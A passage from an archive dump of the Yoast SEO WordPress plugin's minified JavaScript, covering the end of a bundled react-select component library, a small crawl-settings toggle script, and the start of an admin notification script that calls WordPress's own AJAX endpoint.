n=e.placement;n!==f(t.props.menuPlacement)&&t.setState({placement:n})},t}d(t,e);var n=t.prototype;return n.getChildContext=function(){return{getPortalPlacement:this.getPortalPlacement}},n.render=function(){var e=this.props,t=e.appendTo,n=e.children,r=e.controlElement,o=e.menuPlacement,a=e.menuPosition,l=e.getStyles,c="fixed"===a;if(!t&&!c||!r)return null;var p=this.state.placement||f(o),d=s.getBoundingClientObj(r),h=c?0:window.pageYOffset,m={offset:d[p]+h,position:a,rect:d},g=i.jsx("div",{css:l("menuPortal",m)},n);return t?u.createPortal(g,t):g},t}(o.Component);y.childContextTypes={getPortalPlacement:a.func};var C=Array.isArray,O=Object.keys,S=Object.prototype.hasOwnProperty;function A(e,t){if(e===t)return!0;if(e&&t&&"object"==typeof e&&"object"==typeof t){var n,r,o,i=C(e),u=C(t);if(i&&u){if((r=e.length)!=t.length)return!1;for(n=r;0!=n--;)if(!A(e[n],t[n]))return!1;return!0}if(i!=u)return!1;var a=e instanceof Date,s=t instanceof Date;if(a!=s)return!1;if(a&&s)return e.getTime()==t.getTime();var l=e instanceof RegExp,c=t instanceof RegExp;if(l!=c)return!1;if(l&&c)return e.toString()==t.toString();var p=O(e);if((r=p.length)!==O(t).length)return!1;for(n=r;0!=n--;)if(!S.call(t,p[n]))return!1;for(n=r;0!=n--;)if(!("_owner"===(o=p[n])&&e.$$typeof||A(e[o],t[o])))return!1;return!0}return e!=e&&t!=t}function x(){return x=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},x.apply(this,arguments)}function w(){var e,t,n=(e=["\n  0%, 80%, 100% { opacity: 0; }\n  40% { opacity: 1; }\n"],t||(t=e.slice(0)),e.raw=t,e);return w=function(){return n},n}function F(){return F=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},F.apply(this,arguments)}var D={name:"19bqh2r",styles:"display:inline-block;fill:currentColor;line-height:1;stroke:currentColor;stroke-width:0;"},I=function(e){var t=e.size,n=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["size"]);return i.jsx("svg",F({height:t,width:t,viewBox:"0 0 20 20","aria-hidden":"true",focusable:"false",css:D},n))},k=function(e){return i.jsx(I,F({size:20},e),i.jsx("path",{d:"M14.348 14.849c-0.469 0.469-1.229 0.469-1.697 0l-2.651-3.030-2.651 3.029c-0.469 0.469-1.229 0.469-1.697 0-0.469-0.469-0.469-1.229 0-1.697l2.758-3.15-2.759-3.152c-0.469-0.469-0.469-1.228 0-1.697s1.228-0.469 1.697 0l2.652 3.031 2.651-3.031c0.469-0.469 1.228-0.469 1.697 0s0.469 1.229 0 1.697l-2.758 3.152 2.758 3.15c0.469 0.469 0.469 1.229 0 1.698z"}))},M=function(e){return i.jsx(I,F({size:20},e),i.jsx("path",{d:"M4.516 7.548c0.436-0.446 1.043-0.481 1.576 0l3.908 3.747 3.908-3.747c0.533-0.481 1.141-0.446 1.574 0 0.436 0.445 0.408 1.197 0 1.615-0.406 0.418-4.695 4.502-4.695 4.502-0.217 0.223-0.502 0.335-0.787 0.335s-0.57-0.112-0.789-0.335c0 0-4.287-4.084-4.695-4.502s-0.436-1.17 0-1.615z"}))},P=function(e){var t=e.isFocused,n=e.theme,r=n.spacing.baseUnit,o=n.colors;return{label:"indicatorContainer",color:t?o.neutral60:o.neutral20,display:"flex",padding:2*r,transition:"color 150ms",":hover":{color:t?o.neutral80:o.neutral40}}},V=P,L=P,j=i.keyframes(w()),T=function(e){var t=e.delay,n=e.offset;return i.jsx("span",{css:l({animation:j+" 1s ease-in-out "+t+"ms infinite;",backgroundColor:"currentColor",borderRadius:"1em",display:"inline-block",marginLeft:n?"1em":null,height:"1em",verticalAlign:"top",width:"1em"},"")})},R=function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.innerProps,u=e.isRtl;return i.jsx("div",F({},o,{css:r("loadingIndicator",e),className:n({indicator:!0,"loading-indicator":!0},t)}),i.jsx(T,{delay:0,offset:u}),i.jsx(T,{delay:160,offset:!0}),i.jsx(T,{delay:320,offset:!u}))};function B(){return B=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},B.apply(this,arguments)}function _(){return _=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},_.apply(this,arguments)}function N(){return N=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},N.apply(this,arguments)}R.defaultProps={size:4};var H=function(e){return{label:"input",background:0,border:0,fontSize:"inherit",opacity:e?0:1,outline:0,padding:0,color:"inherit"}};function U(){return U=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},U.apply(this,arguments)}var z=function(e){var t=e.children,n=e.innerProps;return i.jsx("div",n,t)},W=z,G=z,$=function(e){var t=e.children,n=e.className,r=e.components,o=e.cx,u=e.data,a=e.getStyles,s=e.innerProps,l=e.isDisabled,c=e.removeProps,p=e.selectProps,d=r.Container,f=r.Label,h=r.Remove;return i.jsx(i.ClassNames,null,(function(r){var m=r.css,g=r.cx;return i.jsx(d,{data:u,innerProps:U({},s,{className:g(m(a("multiValue",e)),o({"multi-value":!0,"multi-value--is-disabled":l},n))}),selectProps:p},i.jsx(f,{data:u,innerProps:{className:g(m(a("multiValueLabel",e)),o({"multi-value__label":!0},n))},selectProps:p},t),i.jsx(h,{data:u,innerProps:U({className:g(m(a("multiValueRemove",e)),o({"multi-value__remove":!0},n))},c),selectProps:p}))}))};function Y(){return Y=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Y.apply(this,arguments)}function q(){return q=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},q.apply(this,arguments)}function X(){return X=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},X.apply(this,arguments)}function K(){return K=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},K.apply(this,arguments)}$.defaultProps={cropWithEllipsis:!0};var Z={ClearIndicator:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps;return i.jsx("div",F({},u,{css:o("clearIndicator",e),className:r({indicator:!0,"clear-indicator":!0},n)}),t||i.jsx(k,null))},Control:function(e){var t=e.children,n=e.cx,r=e.getStyles,o=e.className,u=e.isDisabled,a=e.isFocused,s=e.innerRef,l=e.innerProps,c=e.menuIsOpen;return i.jsx("div",B({ref:s,css:r("control",e),className:n({control:!0,"control--is-disabled":u,"control--is-focused":a,"control--menu-is-open":c},o)},l),t)},DropdownIndicator:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps;return i.jsx("div",F({},u,{css:o("dropdownIndicator",e),className:r({indicator:!0,"dropdown-indicator":!0},n)}),t||i.jsx(M,null))},DownChevron:M,CrossIcon:k,Group:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.Heading,a=e.headingProps,s=e.label,l=e.theme,c=e.selectProps;return i.jsx("div",{css:o("group",e),className:r({group:!0},n)},i.jsx(u,_({},a,{selectProps:c,theme:l,getStyles:o,cx:r}),s),i.jsx("div",null,t))},GroupHeading:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.theme,u=(e.selectProps,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["className","cx","getStyles","theme","selectProps"]));return i.jsx("div",_({css:r("groupHeading",_({theme:o},u)),className:n({"group-heading":!0},t)},u))},IndicatorsContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles;return i.jsx("div",{css:o("indicatorsContainer",e),className:r({indicators:!0},n)},t)},IndicatorSeparator:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.innerProps;return i.jsx("span",F({},o,{css:r("indicatorSeparator",e),className:n({"indicator-separator":!0},t)}))},Input:function(e){var t=e.className,n=e.cx,r=e.getStyles,o=e.innerRef,u=e.isHidden,a=e.isDisabled,s=e.theme,l=(e.selectProps,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,["className","cx","getStyles","innerRef","isHidden","isDisabled","theme","selectProps"]));return i.jsx("div",{css:r("input",N({theme:s},l))},i.jsx(c,N({className:n({input:!0},t),inputRef:o,inputStyle:H(u),disabled:a},l)))},LoadingIndicator:R,Menu:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerRef,a=e.innerProps;return i.jsx("div",p({css:o("menu",e),className:r({menu:!0},n)},a,{ref:u}),t)},MenuList:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.isMulti,a=e.innerRef;return i.jsx("div",{css:o("menuList",e),className:r({"menu-list":!0,"menu-list--is-multi":u},n),ref:a},t)},MenuPortal:y,LoadingMessage:E,NoOptionsMessage:b,MultiValue:$,MultiValueContainer:W,MultiValueLabel:G,MultiValueRemove:function(e){var t=e.children,n=e.innerProps;return i.jsx("div",n,t||i.jsx(k,{size:14}))},Option:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.isDisabled,a=e.isFocused,s=e.isSelected,l=e.innerRef,c=e.innerProps;return i.jsx("div",Y({css:o("option",e),className:r({option:!0,"option--is-disabled":u,"option--is-focused":a,"option--is-selected":s},n),ref:l},c),t)},Placeholder:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps;return i.jsx("div",q({css:o("placeholder",e),className:r({placeholder:!0},n)},u),t)},SelectContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps,a=e.isDisabled,s=e.isRtl;return i.jsx("div",x({css:o("container",e),className:r({"--is-disabled":a,"--is-rtl":s},n)},u),t)},SingleValue:function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.isDisabled,a=e.innerProps;return i.jsx("div",X({css:o("singleValue",e),className:r({"single-value":!0,"single-value--is-disabled":u},n)},a),t)},ValueContainer:function(e){var t=e.children,n=e.className,r=e.cx,o=e.isMulti,u=e.getStyles,a=e.hasValue;return i.jsx("div",{css:u("valueContainer",e),className:r({"value-container":!0,"value-container--is-multi":o,"value-container--has-value":a},n)},t)}};t.MenuPlacer=h,t.clearIndicatorCSS=L,t.components=Z,t.containerCSS=function(e){var t=e.isDisabled;return{label:"container",direction:e.isRtl?"rtl":null,pointerEvents:t?"none":null,position:"relative"}},t.css=function(e){var t=e.isDisabled,n=e.isFocused,r=e.theme,o=r.colors,i=r.borderRadius,u=r.spacing;return{label:"control",alignItems:"center",backgroundColor:t?o.neutral5:o.neutral0,borderColor:t?o.neutral10:n?o.primary:o.neutral20,borderRadius:i,borderStyle:"solid",borderWidth:1,boxShadow:n?"0 0 0 1px "+o.primary:null,cursor:"default",display:"flex",flexWrap:"wrap",justifyContent:"space-between",minHeight:u.controlHeight,outline:"0 !important",position:"relative",transition:"all 100ms","&:hover":{borderColor:n?o.primary:o.neutral30}}},t.css$1=function(e){var t=e.isDisabled,n=e.theme,r=n.spacing,o=n.colors;return{label:"singleValue",color:t?o.neutral40:o.neutral80,marginLeft:r.baseUnit/2,marginRight:r.baseUnit/2,maxWidth:"calc(100% - "+2*r.baseUnit+"px)",overflow:"hidden",position:"absolute",textOverflow:"ellipsis",whiteSpace:"nowrap",top:"50%",transform:"translateY(-50%)"}},t.defaultComponents=function(e){return K({},Z,e.components)},t.dropdownIndicatorCSS=V,t.exportedEqual=function(e,t){try{return A(e,t)}catch(e){if(e.message&&e.message.match(/stack|recursion/i))return console.warn("Warning: react-fast-compare does not handle circular references.",e.name,e.message),!1;throw e}},t.groupCSS=function(e){var t=e.theme.spacing;return{paddingBottom:2*t.baseUnit,paddingTop:2*t.baseUnit}},t.groupHeadingCSS=function(e){var t=e.theme.spacing;return{label:"group",color:"#999",cursor:"default",display:"block",fontSize:"75%",fontWeight:"500",marginBottom:"0.25em",paddingLeft:3*t.baseUnit,paddingRight:3*t.baseUnit,textTransform:"uppercase"}},t.indicatorSeparatorCSS=function(e){var t=e.isDisabled,n=e.theme,r=n.spacing.baseUnit,o=n.colors;return{label:"indicatorSeparator",alignSelf:"stretch",backgroundColor:t?o.neutral10:o.neutral20,marginBottom:2*r,marginTop:2*r,width:1}},t.indicatorsContainerCSS=function(){return{alignItems:"center",alignSelf:"stretch",display:"flex",flexShrink:0}},t.inputCSS=function(e){var t=e.isDisabled,n=e.theme,r=n.spacing,o=n.colors;return{margin:r.baseUnit/2,paddingBottom:r.baseUnit/2,paddingTop:r.baseUnit/2,visibility:t?"hidden":"visible",color:o.neutral80}},t.loadingIndicatorCSS=function(e){var t=e.isFocused,n=e.size,r=e.theme,o=r.colors,i=r.spacing.baseUnit;return{label:"loadingIndicator",color:t?o.neutral60:o.neutral20,display:"flex",padding:2*i,transition:"color 150ms",alignSelf:"center",fontSize:n,lineHeight:1,marginRight:n,textAlign:"center",verticalAlign:"middle"}},t.loadingMessageCSS=v,t.menuCSS=function(e){var t,n=e.placement,r=e.theme,o=r.borderRadius,i=r.spacing,u=r.colors;return(t={label:"menu"})[function(e){return e?{bottom:"top",top:"bottom"}[e]:"bottom"}(n)]="100%",t.backgroundColor=u.neutral0,t.borderRadius=o,t.boxShadow="0 0 0 1px hsla(0, 0%, 0%, 0.1), 0 4px 11px hsla(0, 0%, 0%, 0.1)",t.marginBottom=i.menuGutter,t.marginTop=i.menuGutter,t.position="absolute",t.width="100%",t.zIndex=1,t},t.menuListCSS=function(e){var t=e.maxHeight,n=e.theme.spacing.baseUnit;return{maxHeight:t,overflowY:"auto",paddingBottom:n,paddingTop:n,position:"relative",WebkitOverflowScrolling:"touch"}},t.menuPortalCSS=function(e){var t=e.rect,n=e.offset,r=e.position;return{left:t.left,position:r,top:n,width:t.width,zIndex:1}},t.multiValueCSS=function(e){var t=e.theme,n=t.spacing,r=t.borderRadius;return{label:"multiValue",backgroundColor:t.colors.neutral10,borderRadius:r/2,display:"flex",margin:n.baseUnit/2,minWidth:0}},t.multiValueLabelCSS=function(e){var t=e.theme,n=t.borderRadius,r=t.colors,o=e.cropWithEllipsis;return{borderRadius:n/2,color:r.neutral80,fontSize:"85%",overflow:"hidden",padding:3,paddingLeft:6,textOverflow:o?"ellipsis":null,whiteSpace:"nowrap"}},t.multiValueRemoveCSS=function(e){var t=e.theme,n=t.spacing,r=t.borderRadius,o=t.colors;return{alignItems:"center",borderRadius:r/2,backgroundColor:e.isFocused&&o.dangerLight,display:"flex",paddingLeft:n.baseUnit,paddingRight:n.baseUnit,":hover":{backgroundColor:o.dangerLight,color:o.danger}}},t.noOptionsMessageCSS=g,t.optionCSS=function(e){var t=e.isDisabled,n=e.isFocused,r=e.isSelected,o=e.theme,i=o.spacing,u=o.colors;return{label:"option",backgroundColor:r?u.primary:n?u.primary25:"transparent",color:t?u.neutral20:r?u.neutral0:"inherit",cursor:"default",display:"block",fontSize:"inherit",padding:2*i.baseUnit+"px "+3*i.baseUnit+"px",width:"100%",userSelect:"none",WebkitTapHighlightColor:"rgba(0, 0, 0, 0)",":active":{backgroundColor:!t&&(r?u.primary:u.primary50)}}},t.placeholderCSS=function(e){var t=e.theme,n=t.spacing;return{label:"placeholder",color:t.colors.neutral50,marginLeft:n.baseUnit/2,marginRight:n.baseUnit/2,position:"absolute",top:"50%",transform:"translateY(-50%)"}},t.valueContainerCSS=function(e){var t=e.theme.spacing;return{alignItems:"center",display:"flex",flex:1,flexWrap:"wrap",padding:t.baseUnit/2+"px "+2*t.baseUnit+"px",WebkitOverflowScrolling:"touch",position:"relative",overflow:"hidden"}}},8010:(e,t,n)=>{"use strict";function r(e){return e&&"object"==typeof e&&"default"in e?e.default:e}Object.defineProperty(t,"__esModule",{value:!0});var o=n(9196),i=r(o),u=r(n(845)),a=n(3585);n(1850),n(5890),n(4039);var s=n(148),l=n(3117);n(3998),n(5639);var c=n(7622),p=r(n(6043)),d=function(e){var t,n;function r(t){var n;return(n=e.call(this,t)||this).createEmotionCache=function(e){return p({nonce:e})},n.createEmotionCache=u(n.createEmotionCache),n}return n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n,r.prototype.render=function(){var e=this.createEmotionCache(this.props.nonce);return i.createElement(a.CacheProvider,{value:e},this.props.children)},r}(o.Component),f=c.manageState(l.Select);t.components=s.components,t.createFilter=l.createFilter,t.defaultTheme=l.defaultTheme,t.mergeStyles=l.mergeStyles,t.NonceProvider=d,t.default=f},7622:(e,t,n)=>{"use strict";var r,o=n(9196),i=(r=o)&&"object"==typeof r&&"default"in r?r.default:r;function u(){return u=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},u.apply(this,arguments)}var a={defaultInputValue:"",defaultMenuIsOpen:!1,defaultValue:null};t.manageState=function(e){var t,n;return n=t=function(t){var n,r;function o(){for(var e,n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];return(e=t.call.apply(t,[this].concat(r))||this).select=void 0,e.state={inputValue:void 0!==e.props.inputValue?e.props.inputValue:e.props.defaultInputValue,menuIsOpen:void 0!==e.props.menuIsOpen?e.props.menuIsOpen:e.props.defaultMenuIsOpen,value:void 0!==e.props.value?e.props.value:e.props.defaultValue},e.onChange=function(t,n){e.callProp("onChange",t,n),e.setState({value:t})},e.onInputChange=function(t,n){var r=e.callProp("onInputChange",t,n);e.setState({inputValue:void 0!==r?r:t})},e.onMenuOpen=function(){e.callProp("onMenuOpen"),e.setState({menuIsOpen:!0})},e.onMenuClose=function(){e.callProp("onMenuClose"),e.setState({menuIsOpen:!1})},e}r=t,(n=o).prototype=Object.create(r.prototype),n.prototype.constructor=n,n.__proto__=r;var a=o.prototype;return a.focus=function(){this.select.focus()},a.blur=function(){this.select.blur()},a.getProp=function(e){return void 0!==this.props[e]?this.props[e]:this.state[e]},a.callProp=function(e){if("function"==typeof this.props[e]){for(var t,n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];return(t=this.props)[e].apply(t,r)}},a.render=function(){var t=this,n=this.props,r=(n.defaultInputValue,n.defaultMenuIsOpen,n.defaultValue,function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(n,["defaultInputValue","defaultMenuIsOpen","defaultValue"]));return i.createElement(e,u({},r,{ref:function(e){t.select=e},inputValue:this.getProp("inputValue"),menuIsOpen:this.getProp("menuIsOpen"),onChange:this.onChange,onInputChange:this.onInputChange,onMenuClose:this.onMenuClose,onMenuOpen:this.onMenuOpen,value:this.getProp("value")}))},o}(o.Component),t.defaultProps=a,n}},4039:(e,t)=>{"use strict";var n=function(){};function r(e,t){return t?"-"===t[0]?e+t:e+"__"+t:e}function o(e){return[document.documentElement,document.body,window].indexOf(e)>-1}function i(e){return o(e)?window.pageYOffset:e.scrollTop}function u(e,t){o(e)?window.scrollTo(0,t):e.scrollTop=t}t.animatedScrollTo=function(e,t,r,o){void 0===r&&(r=200),void 0===o&&(o=n);var a=i(e),s=t-a,l=0;!function t(){var n,i=s*((n=(n=l+=10)/r-1)*n*n+1)+a;u(e,i),l<r?window.requestAnimationFrame(t):o(e)}()},t.classNames=function(e,t,n){var o=[n];if(t&&e)for(var i in t)t.hasOwnProperty(i)&&t[i]&&o.push(""+r(e,i));return o.filter((function(e){return e})).map((function(e){return String(e).trim()})).join(" ")},t.cleanValue=function(e){return Array.isArray(e)?e.filter(Boolean):"object"==typeof e&&null!==e?[e]:[]},t.getBoundingClientObj=function(e){var t=e.getBoundingClientRect();return{bottom:t.bottom,height:t.height,left:t.left,right:t.right,top:t.top,width:t.width}},t.getScrollParent=function(e){var t=getComputedStyle(e),n="absolute"===t.position,r=/(auto|scroll)/,o=document.documentElement;if("fixed"===t.position)return o;for(var i=e;i=i.parentElement;)if(t=getComputedStyle(i),(!n||"static"!==t.position)&&r.test(t.overflow+t.overflowY+t.overflowX))return i;return o},t.getScrollTop=i,t.handleInputChange=function(e,t,n){if(n){var r=n(e,t);if("string"==typeof r)return r}return e},t.isDocumentElement=o,t.isMobileDevice=function(){try{return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)}catch(e){return!1}},t.isTouchCapable=function(){try{return document.createEvent("TouchEvent"),!0}catch(e){return!1}},t.noop=n,t.scrollIntoView=function(e,t){var n=e.getBoundingClientRect(),r=t.getBoundingClientRect(),o=t.offsetHeight/3;r.bottom+o>n.bottom?u(e,Math.min(t.offsetTop+t.clientHeight-e.offsetHeight+o,e.scrollHeight)):r.top-o<n.top&&u(e,Math.max(t.offsetTop-o,0))},t.scrollTo=u},3585:(e,t,n)=>{"use strict";function r(e,t){return r=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},r(e,t)}n.r(t),n.d(t,{CacheProvider:()=>f,ClassNames:()=>A,Global:()=>y,ThemeContext:()=>d,css:()=>c.default,jsx:()=>E,keyframes:()=>O,withEmotionCache:()=>h});var o=n(9196),i=n(6043);function u(e,t,n){var r="";return n.split(" ").forEach((function(n){void 0!==e[n]?t.push(e[n]):r+=n+" "})),r}var a=function(e,t,n){var r=e.key+"-"+t.name;if(!1===n&&void 0===e.registered[r]&&(e.registered[r]=t.styles),void 0===e.inserted[t.name]){var o=t;do{e.insert("."+r,o,e.sheet,!0),o=o.next}while(void 0!==o)}},s=n(2578),l=n(9664),c=n(3998),p=(0,o.createContext)("undefined"!=typeof HTMLElement?(0,i.default)():null),d=(0,o.createContext)({}),f=p.Provider,h=function(e){return(0,o.forwardRef)((function(t,n){return(0,o.createElement)(p.Consumer,null,(function(r){return e(t,r,n)}))}))},m="__EMOTION_TYPE_PLEASE_DO_NOT_USE__",g=Object.prototype.hasOwnProperty,v=function(e,t,n,r){var i=null===n?t.css:t.css(n);"string"==typeof i&&void 0!==e.registered[i]&&(i=e.registered[i]);var l=t[m],c=[i],p="";"string"==typeof t.className?p=u(e.registered,c,t.className):null!=t.className&&(p=t.className+" ");var d=(0,s.O)(c);a(e,d,"string"==typeof l),p+=e.key+"-"+d.name;var f={};for(var h in t)g.call(t,h)&&"css"!==h&&h!==m&&(f[h]=t[h]);return f.ref=r,f.className=p,(0,o.createElement)(l,f)},b=h((function(e,t,n){return"function"==typeof e.css?(0,o.createElement)(d.Consumer,null,(function(r){return v(t,e,r,n)})):v(t,e,null,n)})),E=function(e,t){var n=arguments;if(null==t||!g.call(t,"css"))return o.createElement.apply(void 0,n);var r=n.length,i=new Array(r);i[0]=b;var u={};for(var a in t)g.call(t,a)&&(u[a]=t[a]);u[m]=e,i[1]=u;for(var s=2;s<r;s++)i[s]=n[s];return o.createElement.apply(null,i)},y=h((function(e,t){var n=e.styles;if("function"==typeof n)return(0,o.createElement)(d.Consumer,null,(function(e){var r=(0,s.O)([n(e)]);return(0,o.createElement)(C,{serialized:r,cache:t})}));var r=(0,s.O)([n]);return(0,o.createElement)(C,{serialized:r,cache:t})})),C=function(e){var t,n;function o(t,n,r){return e.call(this,t,n,r)||this}n=e,(t=o).prototype=Object.create(n.prototype),t.prototype.constructor=t,r(t,n);var i=o.prototype;return i.componentDidMount=function(){this.sheet=new l.m({key:this.props.cache.key+"-global",nonce:this.props.cache.sheet.nonce,container:this.props.cache.sheet.container});var e=document.querySelector("style[data-emotion-"+this.props.cache.key+'="'+this.props.serialized.name+'"]');null!==e&&this.sheet.tags.push(e),this.props.cache.sheet.tags.length&&(this.sheet.before=this.props.cache.sheet.tags[0]),this.insertStyles()},i.componentDidUpdate=function(e){e.serialized.name!==this.props.serialized.name&&this.insertStyles()},i.insertStyles=function(){if(void 0!==this.props.serialized.next&&a(this.props.cache,this.props.serialized.next,!0),this.sheet.tags.length){var e=this.sheet.tags[this.sheet.tags.length-1].nextElementSibling;this.sheet.before=e,this.sheet.flush()}this.props.cache.insert("",this.props.serialized,this.sheet,!1)},i.componentWillUnmount=function(){this.sheet.flush()},i.render=function(){return null},o}(o.Component),O=function(){var e=c.default.apply(void 0,arguments),t="animation-"+e.name;return{name:t,styles:"@keyframes "+t+"{"+e.styles+"}",anim:1,toString:function(){return"_EMO_"+this.name+"_"+this.styles+"_EMO_"}}},S=function e(t){for(var n=t.length,r=0,o="";r<n;r++){var i=t[r];if(null!=i){var u=void 0;switch(typeof i){case"boolean":break;case"object":if(Array.isArray(i))u=e(i);else for(var a in u="",i)i[a]&&a&&(u&&(u+=" "),u+=a);break;default:u=i}u&&(o&&(o+=" "),o+=u)}}return o},A=h((function(e,t){return(0,o.createElement)(d.Consumer,null,(function(n){var r=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];var o=(0,s.O)(n,t.registered);return a(t,o,!1),t.key+"-"+o.name},o={css:r,cx:function(){for(var e=arguments.length,n=new Array(e),o=0;o<e;o++)n[o]=arguments[o];return function(e,t,n){var r=[],o=u(e,r,n);return r.length<2?n:o+t(r)}(t.registered,r,S(n))},theme:n};return e.children(o)}))}))},9196:e=>{"use strict";e.exports=window.React},1850:e=>{"use strict";e.exports=window.ReactDOM},5890:e=>{"use strict";e.exports=window.yoast.propTypes}},t={};function n(r){var o=t[r];if(void 0!==o)return o.exports;var i=t[r]={exports:{}};return e[r](i,i.exports,n),i.exports}n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},window.yoast=window.yoast||{},window.yoast.reactSelect=n(8010),window.yoast.reactSelectAsync=n(3082)})();wordpress-seo/js/dist/crawl-settings.js000064400000001077147510273070014256 0ustar00jQuery(document).ready((function(){jQuery("#allow_search_cleanup input[type='radio']").on("change",(function(){"on"===jQuery("#allow_search_cleanup input[type='radio']:checked").val()?(jQuery("#allow_search_cleanup_emoji").prop("disabled",!1),jQuery("#allow_search_cleanup_patterns").prop("disabled",!1)):(jQuery("#allow_search_cleanup_emoji").prop("disabled",!0),jQuery("#allow_search_cleanup_patterns").prop("disabled",!0),jQuery("#allow_search_cleanup_emoji-off").prop("checked",!0),jQuery("#allow_search_cleanup_patterns-off").prop("checked",!0))})).trigger("change")}));wordpress-seo/js/dist/admin-global.js000064400000012544147510273070013637 0ustar00(()=>{"use strict";var t={n:o=>{var a=o&&o.__esModule?()=>o.default:()=>o;return t.d(a,{a}),a},d:(o,a)=>{for(var e in a)t.o(a,e)&&!t.o(o,e)&&Object.defineProperty(o,e,{enumerable:!0,get:a[e]})},o:(t,o)=>Object.prototype.hasOwnProperty.call(t,o)};const o=window.jQuery;var a=t.n(o);!function(t){function o(t,o,e){const s=new FormData,n={action:"wpseo_set_ignore",option:t,_wpnonce:e};for(const[t,o]of Object.entries(n))s.append(t,o);return fetch(ajaxurl,{method:"POST",body:s}).then((e=>(e&&(a()("#"+o).hide(),a()("#hidden_ignore_"+t).val("ignore")),e)))}function e(){t("#wp-admin-bar-root-default > li").off("mouseenter.yoastalertpopup mouseleave.yoastalertpopup"),t(".yoast-issue-added").fadeOut(200)}function s(o,a){if(t(".yoast-notification-holder").off("click",".restore").off("click",".dismiss"),void 0!==a.html){a.html&&(o.closest(".yoast-container").html(a.html),n());var e=t("#wp-admin-bar-wpseo-menu"),s=e.find(".yoast-issue-counter");s.length||(e.find("> a:first-child").append('<div class="yoast-issue-counter"/>'),s=e.find(".yoast-issue-counter")),s.html(a.total),0===a.total?s.hide():s.show(),t("#toplevel_page_wpseo_dashboard .update-plugins").removeClass().addClass("update-plugins count-"+a.total),t("#toplevel_page_wpseo_dashboard .plugin-count").html(a.total)}}function n(){var o=t(".yoast-notification-holder");o.on("click",".dismiss",(function(){var o=t(this),a=o.closest(".yoast-notification-holder");o.closest(".yoast-container").append('<div class="yoast-container-disabled"/>'),t.post(ajaxurl,{action:"yoast_dismiss_notification",notification:a.attr("id"),nonce:a.data("nonce"),data:o.data("json")||a.data("json")},s.bind(this,a),"json")})),o.on("click",".restore",(function(){var o=t(this),a=o.closest(".yoast-notification-holder");o.closest(".yoast-container").append('<div class="yoast-container-disabled"/>'),t.post(ajaxurl,{action:"yoast_restore_notification",notification:a.attr("id"),nonce:a.data("nonce"),data:a.data("json")},s.bind(this,a),"json")}))}function 